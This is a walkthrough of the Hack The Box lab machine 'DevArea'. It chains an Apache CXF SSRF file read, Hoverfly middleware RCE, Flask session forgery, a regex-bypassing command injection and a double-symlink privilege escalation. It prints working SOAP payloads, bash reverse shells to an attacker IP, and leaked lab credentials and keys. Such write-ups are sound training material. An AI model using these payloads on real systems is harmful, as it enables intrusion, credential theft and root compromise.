> m4rt@CTF_ARCHIVE:~$

// ATTACHMENTS

Hack The Box / LINUX / 2026-07-04

Hack The Box — DevArea (Linux)

Anonymous FTP and Apache CXF SSRF expose secrets that unlock Hoverfly RCE. A leaked config file yields the Flask secret and admin credentials. Session forgery opens the syswatch dashboard as admin. A command injection flaw then grants code execution as syswatch. From there, symlink abuse in syswatch leads to root compromise.

Target

  • IP: 10.129.19.1

Port scan

sudo nmap -sC -sV 10.129.19.1 -p- -v
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.5
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.10.16.41
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Sep 22  2025 pub
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 83:13:6b:a1:9b:28:fd:bd:5d:2b:ee:03:be:9c:8d:82 (ECDSA)
|_  256 0a:86:fa:65:d1:20:b4:3a:57:13:d1:1a:c2:de:52:78 (ED25519)
80/tcp   open  http    Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://devarea.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
8080/tcp open  http    Jetty 9.4.27.v20200227
|_http-title: Error 404 Not Found
|_http-server-header: Jetty(9.4.27.v20200227)
8500/tcp open  http    Golang net/http server
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sun, 29 Mar 2026 11:07:39 GMT
|     Content-Length: 64
|     This is a proxy server. Does not respond to non-proxy requests.
|   GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sun, 29 Mar 2026 11:07:22 GMT
|     Content-Length: 64
|     This is a proxy server. Does not respond to non-proxy requests.
|   HTTPOptions:
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sun, 29 Mar 2026 11:07:23 GMT
|     Content-Length: 64
|_    This is a proxy server. Does not respond to non-proxy requests.
8888/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Hoverfly Dashboard
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: BAA090FBC1418C8C4971002CC5459574

Add devarea.htb to /etc/hosts file.

FTP - Anonymous login

We notice the ftp port is open and allows anonymous login. Let's connect to it.

ftp 10.129.19.1

Insert anonymous as username. We get 230 Login Successful

dir
drwxr-xr-x    2 ftp      ftp          4096 Sep 22  2025 pub
cd pub
dir
-rw-r--r--    1 ftp      ftp       6445030 Sep 22  2025 employee-service.jar

We can download the file to inspect it.

get employee-service.jar

Inspecting the .jar file

We can use jd-gui to inspect the jar file.

jd-gui employee-service.jar

There is a htb.devarea package. Under that package, in ServerStarter.class, we notice:

System.out.println("Employee Service running at http://localhost:8080/employeeservice");
System.out.println("WSDL available at http://localhost:8080/employeeservice?wsdl");

So we can download the specifications of the web service.

curl http://devarea.htb:8080/employeeservice?wsdl -o employeeservice.wsdl

Now we can interact with the web service with soap requests. We can use soapUI to do that.

Install soapUI and create a new soap project with the employeeservice.wsdl file.

On the left panel, select submitReport and click on Request 1. We can edit the request body.

To better interact with the web service, we can use Burp Suite to intercept the requests and responses.

Go to the preferences of soapUI and set the proxy to 127.0.0.1 and port 8080.

Then click on the Proxy button on top to activate the proxy.

Click on the play button on the left panel to send the request. We can see the request in Burp Suite. Right click --> Send to Repeater.

The request looks like this:

POST /employeeservice HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
Content-Length: 544
Host: devarea.htb:8080
User-Agent: Apache-HttpClient/4.5.5 (Java/17.0.12)
Connection: keep-alive

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
   <soapenv:Header/>
   <soapenv:Body>
      <dev:submitReport>
         <!--Optional:-->
         <arg0>
            <confidential>?</confidential>
            <!--Optional:-->
            <content>?</content>
            <!--Optional:-->
            <department>?</department>
            <!--Optional:-->
            <employeeName>?</employeeName>
         </arg0>
      </dev:submitReport>
   </soapenv:Body>
</soapenv:Envelope>

Back on the jd-gui, at the path META-INF/maven/com.environment/employee-service/pom.xml, we can see the dependencies of the project. We notice it uses Apache CXF which is a web service framework. The version is 3.2.14. We can search for vulnerabilities in this version.

CVE-2022-46364 - Apache CXF SSRF

We find CVE-2022-46364, which is a SSRF vulnerability in Apache CXF. This vulnerability allows an attacker to send requests to arbitrary URLs.

According to the snyk website, we can exploit the vulnerability with this payload:

<inc:Include href="http://attackers.site/exploit/payload" xmlns:inc="http://www.w3.org/2004/08/xop/include"/>

So, for example, we can modify the request on Burp repeater in this way to include the payload:

POST /employeeservice HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
Content-Length: 544
Host: devarea.htb:8080
User-Agent: Apache-HttpClient/4.5.5 (Java/17.0.12)
Connection: keep-alive

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
   <soapenv:Header/>
   <soapenv:Body>
      <dev:submitReport>
         <!--Optional:-->
         <arg0>
            <confidential>?</confidential>
            <!--Optional:-->
            <content><inc:Include href="http://10.10.16.41:5555/pwnd" xmlns:inc="http://www.w3.org/2004/08/xop/include"/></content>
            <!--Optional:-->
            <department>?</department>
            <!--Optional:-->
            <employeeName>?</employeeName>
         </arg0>
      </dev:submitReport>
   </soapenv:Body>
</soapenv:Envelope>

Where 10.10.16.41 is the IP address of our attacking machine.

Start a python server on our attacking machine to receive the request:

python3 -m http.server 5555

Send the request. You should get an error like this:

<faultstring>Unmarshalling Error: unexpected element (uri:"http://www.w3.org/2004/08/xop/include", local:"Include"). Expected elements are (none) </faultstring>

I believe this is because the server is expecting a string for the tag content, but we provided a xml tag. To bypass this, we can change the content type to multipart/related and use the xop:Include tag to include the payload.

Go to Repeater and replace the request text with this:

POST /employeeservice HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/related; type="application/xop+xml"; start="<rootpart>"; boundary="boundary"
SOAPAction: ""
Content-Length: 645
Host: devarea.htb:8080
User-Agent: Apache-HttpClient/4.5.5 (Java/17.0.12)
Connection: keep-alive

--boundary
Content-Type: application/xop+xml; charset=UTF-8
Content-Transfer-Encoding: 8bit
Content-ID: <rootpart>

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
   <soapenv:Body>
      <dev:submitReport>
         <arg0>
            <content><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="http://10.10.16.41:5555/pwnd"/></content>
         </arg0>
      </dev:submitReport>
   </soapenv:Body>
</soapenv:Envelope>

--boundary--

Send the request and we can see that we received a request in our python server.

We can also use this vulnerability to read arbitrary files from the server. For example, to get /etc/passwd:

POST /employeeservice HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/related; type="application/xop+xml"; start="<rootpart>"; boundary="boundary"
SOAPAction: ""
Content-Length: 516
Host: devarea.htb:8080
User-Agent: Apache-HttpClient/4.5.5 (Java/17.0.12)
Connection: keep-alive

--boundary
Content-Type: application/xop+xml; charset=UTF-8
Content-Transfer-Encoding: 8bit
Content-ID: <rootpart>

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
   <soapenv:Body>
      <dev:submitReport>
         <arg0>
            <content><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///etc/passwd"/></content>
         </arg0>
      </dev:submitReport>
   </soapenv:Body>
</soapenv:Envelope>

--boundary--

On the response, we notice:

<return>Report received from null. Department: null. Content: cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjQyOjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kbm9ib2R5Ong6NjU1MzQ6NjU1MzQ6bm9ib2R5Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLW5ldHdvcms6eDo5OTg6OTk4OnN5c3RlbWQgTmV0d29yayBNYW5hZ2VtZW50Oi86L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC10aW1lc3luYzp4Ojk5Nzo5OTc6c3lzdGVtZCBUaW1lIFN5bmNocm9uaXphdGlvbjovOi91c3Ivc2Jpbi9ub2xvZ2luCm1lc3NhZ2VidXM6eDoxMDE6MTAyOjovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1yZXNvbHZlOng6OTkyOjk5MjpzeXN0ZW1kIFJlc29sdmVyOi86L3Vzci9zYmluL25vbG9naW4KcG9sbGluYXRlOng6MTAyOjE6Oi92YXIvY2FjaGUvcG9sbGluYXRlOi9iaW4vZmFsc2UKcG9sa2l0ZDp4Ojk5MTo5OTE6VXNlciBmb3IgcG9sa2l0ZDovOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c2xvZzp4OjEwMzoxMDQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgp1dWlkZDp4OjEwNDoxMDU6Oi9ydW4vdXVpZGQ6L3Vzci9zYmluL25vbG9naW4KdGNwZHVtcDp4OjEwNToxMDc6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgp0c3M6eDoxMDY6MTA4OlRQTSBzb2Z0d2FyZSBzdGFjaywsLDovdmFyL2xpYi90cG06L2Jpbi9mYWxzZQpsYW5kc2NhcGU6eDoxMDc6MTA5OjovdmFyL2xpYi9sYW5kc2NhcGU6L3Vzci9zYmluL25vbG9naW4KZnd1cGQtcmVmcmVzaDp4Ojk4OTo5ODk6RmlybXdhcmUgdXBkYXRlIGRhZW1vbjovdmFyL2xpYi9md3VwZDovdXNyL3NiaW4vbm9sb2dpbgp1c2JtdXg6eDoxMDg6NDY6dXNibXV4IGRhZW1vbiwsLDovdmFyL2xpYi91c2JtdXg6L3Vzci9zYmluL25vbG9naW4Kc3NoZDp4OjEwOTo2NTUzNDo6L3J1bi9zc2hkOi91c3Ivc2Jpbi9ub2xvZ2luCmRldl9yeWFuOng6MTAwMToxMDAxOjovaG9tZS9kZXZfcnlhbjovYmluL2Jhc2gKZnRwOng6MTEwOjExMTpmdHAgZGFlbW9uLCwsOi9zcnYvZnRwOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3dhdGNoOng6OTg0Ojk4NDo6L29wdC9zeXN3YXRjaDovdXNyL3NiaW4vbm9sb2dpbgpwb3N0Zml4Ong6MTExOjExMjo6L3Zhci9zcG9vbC9wb3N0Zml4Oi91c3Ivc2Jpbi9ub2xvZ2luCl9sYXVyZWw6eDo5OTk6OTg3OjovdmFyL2xvZy9sYXVyZWw6L2Jpbi9mYWxzZQpkaGNwY2Q6eDoxMDA6NjU1MzQ6REhDUCBDbGllbnQgRGFlbW9uLCwsOi91c3IvbGliL2RoY3BjZDovYmluL2ZhbHNlCg==</return>

If we decode the base64 blob, we get:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
dev_ryan:x:1001:1001::/home/dev_ryan:/bin/bash
ftp:x:110:111:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
syswatch:x:984:984::/opt/syswatch:/usr/sbin/nologin
postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin
_laurel:x:999:987::/var/log/laurel:/bin/false
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false

This confirms that we have arbitrary file read. We notice the user dev_ryan with UID 1001.

We can automate the exploitation with a python script. See the script CVE-2022-46364.py in the attachments.

The cool thing about this vulnerability is that we can also use it to list files in a directory. For example:

python3 CVE-2022-46364.py '/home/dev_ryan'
.bash_history
.bash_logout
.bashrc
.cache
.local
.profile
.ssh
syswatch-v1.zip
user.txt

The file syswatch-v1.zip looks interesting. We can download it with the script:

python3 CVE-2022-46364.py '/home/dev_ryan/syswatch-v1.zip' > syswatch-v1.zip
unzip -d syswatch syswatch-v1.zip
cd syswatch

In the file setup.sh, we notice:

ENV_FILE="/etc/syswatch.env"

Let's take that file.

python3 CVE-2022-46364.py '/etc/syswatch.env'
SYSWATCH_SECRET_KEY=f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725
SYSWATCH_ADMIN_PASSWORD=SyswatchAdmin2026
SYSWATCH_LOG_DIR=/opt/syswatch/logs
SYSWATCH_DB_PATH=/opt/syswatch/syswatch_gui/syswatch.db
SYSWATCH_PLUGIN_DIR=/opt/syswatch/plugins
SYSWATCH_BACKUP_DIR=/opt/syswatch/backup
SYSWATCH_VERSION=1.0.0

We got the password SyswatchAdmin2026.

Enumerating processes on the target machine

Since we can read arbitrary files, we can also read the file /proc/[pid]/cmdline, where [pid] is the process ID of a running process. This file contains the command line arguments of the process. So we can enumerate the running processes on the target machine. We can automate this with a python script. See the script enumerate_processes.py in the attachments.

python3 enumerate_processes.py

In the output, we notice:

PID 1437: /opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0

Hoverfly - CVE-2025-54123

With the browser, go to http://devarea.htb:8888 and login with username admin and password O7IJ27MyyXiU. We get to the dashboard, where we see the Hoverfly version is v1.11.3.

Searching on internet, we find that Hoverfly v1.11.3 is vulnerable to CVE-2025-54123, which is a remote code execution vulnerability. We can exploit it with this payload:

Here is a POC exploit: https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-r4h8-hfp2-ggmf

Turn on the Burp proxy and with the browser go to http://devarea.htb:8888/dashboard. On burp, we see also a request to /api/v2/hoverfly/middleware. Send that request to Repeater.

Now change the request to something like this:

PUT /api/v2/hoverfly/middleware HTTP/1.1
Host: devarea.htb:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJleHAiOjIwODU5MzIzMTEsImlhdCI6MTc3NDg5MjMxMSwic3ViIjoiIiwidXNlcm5hbWUiOiJhZG1pbiJ9.tDEudO51I2386i4zl8A6fd3e7P2xjEwpbRnTGlgT97imeqoP9783iDFVibBHK8VTUA7v1K3cCh3dWPY0k875tQ
Referer: http://devarea.htb:8888/dashboard
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
Content-Length: 56

{
    "binary": "/bin/bash",
    "script": "whoami"
}

Send the request. In the output we notice:

STDOUT:\ndev_ryan\n

So we have command execution as the user dev_ryan.

Now we can get a reverse shell. Start a netcat listener on our attacking machine:

nc -vlnp 4444

Then change the body of the request to this:

{
    "binary": "/bin/bash",
    "script": "bash -i >& /dev/tcp/10.10.16.41/4444 0>&1"
}

Send the request. We get a reverse shell on our netcat listener.

Upgrade the shell to a fully interactive TTY:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# CTRL + Z
stty raw -echo
fg
export TERM=xterm-256color

Better access with SSH

On attacking machine, generate an SSH key pair:

ssh-keygen -f dev_ryan_key

Copy the public key dev_ryan_key.pub

Then, on the reverse shell:

echo '<copied_pubkey>' >> ~/.ssh/authorized_keys

Then, on the attacking machine:

ssh -i dev_ryan_key dev_ryan@devarea.htb

Let's check sudo permissions:

sudo -l
Matching Defaults entries for dev_ryan on devarea:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User dev_ryan may run the following commands on devarea:
    (root) NOPASSWD: /opt/syswatch/syswatch.sh, !/opt/syswatch/syswatch.sh web-stop, !/opt/syswatch/syswatch.sh
        web-restart

We already downloaded the zipped syswatch before (or you can download it now from dev_ryan home directory), so we can inspect the file syswatch.sh (and in general the whole project) to see if we can exploit it to get root access.

Moreover, we note that the opt/syswatch/ folder has ACLs applied:

ls -ld /opt/syswatch/
drwxr-xr-x+ 8 root root 4096 Mar 22 18:55 /opt/syswatch/

To list the ACLs:

getfacl /opt/syswatch/
# file: opt/syswatch/
# owner: root
# group: root
user::rwx
user:dev_ryan:---
group::r-x
mask::r-x
other::r-x

So the user dev_ryan has no permissions on that folder.

On our machine, let's look at the project structure:

tree syswatch
syswatch
├── backup
├── config
│   └── syswatch.conf
├── logs
│   ├── cpu-mem.log
│   ├── disk.log
│   ├── log-alerts.log
│   ├── network.log
│   └── service.log
├── monitor.sh
├── plugins
│   ├── common.sh
│   ├── cpu_mem_monitor.sh
│   ├── disk_monitor.sh
│   ├── log_monitor.sh
│   ├── network_monitor.sh
│   └── service_monitor.sh
├── setup.sh
├── syswatch_gui
│   ├── app.py
│   ├── requirements.txt
│   ├── static
│   │   └── style.css
│   ├── syswatch.db
│   └── templates
│       ├── docs.html
│       ├── index.html
│       ├── login.html
│       └── service_status.html
└── syswatch.sh

We see syswatch_gui. In app.py we notice that the gui is a web service running on 127.0.0.1 port 7777.

ss -ltnp```

```text
State     Recv-Q    Send-Q       Local Address:Port       Peer Address:Port   Process
LISTEN    0         4096         127.0.0.53%lo:53              0.0.0.0:*
LISTEN    0         4096               0.0.0.0:22              0.0.0.0:*
LISTEN    0         511                0.0.0.0:80              0.0.0.0:*
LISTEN    0         128              127.0.0.1:7777            0.0.0.0:*
LISTEN    0         100              127.0.0.1:25              0.0.0.0:*
LISTEN    0         4096            127.0.0.54:53              0.0.0.0:*
LISTEN    0         4096                     *:8888                  *:*       users:(("hoverfly",pid=1452,fd=6))
LISTEN    0         32                       *:21                    *:*
LISTEN    0         4096                  [::]:22                 [::]:*
LISTEN    0         4096                     *:8500                  *:*       users:(("hoverfly",pid=1452,fd=5))
LISTEN    0         100                  [::1]:25                 [::]:*
LISTEN    0         50                       *:8080                  *:*       users:(("java",pid=1451,fd=26))

Let's forward the port 7777 to our attacking machine with SSH:

ssh -i dev_ryan_key dev_ryan@devarea.htb -NL 7777:localhost:7777

Then, on the browser, go to http://localhost:7777. There is a login form. If we inspect the login route in app.py, we see that the credentials are stored in the syswatch.db file.

Attempting to crack a scrypt hash

Let's check the database:

sqlite3 syswatch.db
select * from users;
1|admin|scrypt:32768:8:1$IyKfiteB3TNFK6Hv$a0fbf5283db6a13859776827133e99d4d5ab43e85bedd05b06119e6fdca096ac81570d4497a836d09a155884182b6442cfcf6986b96310b514f34d9da871cb70

On the hashcat website, we see that the hash type is 8900 but it should have a form like this:

SCRYPT:1024:1:1:MDIwMzMwNTQwNDQyNQ==:5FW+zWivLxgCWj7qLiQbeC8zaNQ+qdO0NUinvqyFcfo=

The file app.py uses the function werkzeug.security.generate_password_hash to generate the hash. If we check that function, we notice that the salt IyKfiteB3TNFK6Hv is in raw form, so we have to convert it to base64. Moreover, the hash part is in hex, so we have to convert it to raw bytes and then to base64.

So the final hash will be:

SCRYPT:32768:8:1:SXlLZml0ZUIzVE5GSzZIdg==:oPv1KD22oThZd2gnEz6Z1NWrQ+hb7dBbBhGeb9yglqyBVw1El6g20JoVWIQYK2RCz89phrljELUU802dqHHLcA==

Put it in a hash file and run hashcat:

hashcat -a 0 -m 8900 ./hash ./rockyou.txt --self-test-disable

We get the password admin. So the final credentials for the web service would be

username: admin
password: admin

But unfortunately, they don't work. This means that the password in the true database is different.

Previously, we read the file /etc/syswatch.env and we got the secret key:

SYSWATCH_SECRET_KEY=f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725

So we can basically forge a cookie to authenticate as the admin user.

In the app.py file, we see that on successful login, the server creates a session with the following data:

session["user_id"] = row[0]
session["username"] = username

Thus, we can use this python code to generate a cookie:

from flask import Flask, session
SECRET_KEY='f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725'
app = Flask(__name__)
app.secret_key = SECRET_KEY
with app.test_request_context():
    session['user_id'] = 1
    session['username'] = 'admin'
    print(app.session_interface.get_signing_serializer(app).dumps(dict(session)))
eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.acmqZw.JGC-sPWrRS80vxIG421OFjiod-s

Now, with the browser, go to http://localhost:7777, open the developer tools, go to the Application tab, and in the Cookies section, create a new cookie with name session and value eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.acmqZw.JGC-sPWrRS80vxIG421OFjiod-s. Then go to http://localhost:7777. We are logged in as admin and we can see the dashboard.

Command injection in the service status page

On bottom of the page, click on the button Check System Service Status. We can specify the name of a service to check.

Open developer tools, go to the Network tab. Put the value ssh in the form field and click Check. We see that a POST request is sent to http://127.0.0.1:7777/service-status with data {"service":"ssh"}.

Let's inspect the source code of the route /service-status in app.py:

SAFE_SERVICE = re.compile(r"^[^;/\&.<>\rA-Z]*$")

def service_status():
    r = require_login()
    if r:
        return r
    output = None
    error = None
    service = ""
    if request.method == "POST":
        service = request.form.get("service", "").strip()
        if not service or not SAFE_SERVICE.match(service):
            error = "Invalid service name"
        else:
            try:
                res = subprocess.run([f"systemctl status --no-pager {service}"], shell=True,capture_output=True, text=True, timeout=10)
                output = res.stdout if res.stdout else res.stderr
            except Exception as e:
                error = str(e)
    return render_template("service_status.html", output=output, error=error, service=service)

The parameter shell=True makes the function subprocess.run vulnerable to command injection. However, there is a regex that is supposed to prevent that. However, we can bypass it in several ways. For example, we can use the command substitution $() to execute an arbitrary command. We could try to execute the sleep command to see if the server hangs and the command injection works.

If we put $(sleep 5) in the form field, we notice that we can't click on the button and this error is shown:

Allowed: letters, numbers, dot, dash, underscore

However, this check is performed only on client side. So to easily bypass it, we can just use curl to send the request:

curl -X POST http://localhost:7777/service-status -H "Cookie: session=eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.acmqZw.JGC-sPWrRS80vxIG421OFjiod-s" -d 'service=$(sleep 5)'

The server hangs for 5 seconds and then responds. This confirms that the command injection works.

Now we can try to get a reverse shell. However, remember that some characters are not allowed by the regex. However we can bypass it, for example, in this way: create a file dev/shm/rev with content:

#!/bin/bash
bash -i >& /dev/tcp/10.10.16.41/4444 0>&1

Make it executable:

chmod +x /dev/shm/rev

On the attacking machine, start a netcat listener:

nc -vlnp 4444

Then send this request:

curl -X POST http://localhost:7777/service-status -H "Cookie: session=eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.acmqZw.JGC-sPWrRS80vxIG421OFjiod-s" -d 'service=$(echo -n 2f6465762f73686d2f726576 | xxd -r -p | bash)'

where echo -n 2f6465762f73686d2f726576 | xxd -r -p corresponds to /dev/shm/rev.

On the netcat terminal, we get a reverse shell as the user syswatch.

Upgrade the shell to a fully interactive TTY:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# CTRL + Z
stty raw -echo
fg

Now we are the user syswatch and we no longer have the restrictions on the folder /opt/syswatch/.

Let's inspect the permissions of files and folders in /opt/syswatch/:

ls -la /opt/syswatch/
drwxr-xr-x  2 syswatch syswatch 4096 Mar 22 18:55 backup
drwxr-xr-x  2 root     root     4096 Mar 22 18:55 config
drwxr-xr-x  2 syswatch syswatch 4096 Mar 31 20:46 logs
-rwxr-xr-x  1 root     root      265 Dec 12 15:33 monitor.sh
drwxr-xr-x  2 root     root     4096 Mar 22 18:55 plugins
drwxr-xr-x  4 root     root     4096 Mar 22 18:55 syswatch_gui
-rwxr-xr-x  1 root     root     6103 Dec 14 13:31 syswatch.sh
drwxr-xr-x  5 root     root     4096 Mar 22 18:55 venv

We notice that the user syswatch has write permissions on the folder /opt/syswatch/logs/.

ls -la /opt/syswatch/logs/
-rw-r--r--  1 syswatch syswatch  11907 Mar 31 20:50 cpu-mem.log
-rw-r--r--  1 syswatch syswatch   5828 Mar 31 20:50 disk.log
-rw-r--r--  1 syswatch syswatch 462368 Mar 31 20:50 log-alerts.log
-rw-r--r--  1 syswatch syswatch  12626 Mar 31 20:50 network.log
-rw-r--r--  1 syswatch syswatch  46980 Mar 31 20:50 service.log

We can check the source code of the syswatch.sh file to see if we can find a way to exploit this.

With the dev_ryan shell, we can read a log with, for example, this command:

sudo /opt/syswatch/syswatch.sh logs network.log

So the first thing that we can do is try to use a symlink that points to a sensitive file of the file system, for example, the root flag file /root/root.txt.

In the shell of the user syswatch, run:

cd /opt/syswatch/logs
ln -s /root/root.txt exploit.log

Now, in the shell of the user dev_ryan, run:

sudo /opt/syswatch/syswatch.sh logs exploit.log

Unfortunately, we get an error:

[Blocked unsafe symlink target]: exploit.log -> /root/root.txt

However, looking at the source code of syswatch.sh, we see that we can bypass this check with a second symlink that points to exploit.log. For example, we can create a symlink exploit2.log that points to exploit.log. With the shell of the user syswatch, run:

ln -s exploit.log exploit2.log

Now, in the shell of the user dev_ryan, run:

sudo /opt/syswatch/syswatch.sh logs exploit2.log

And we get the content of the root flag.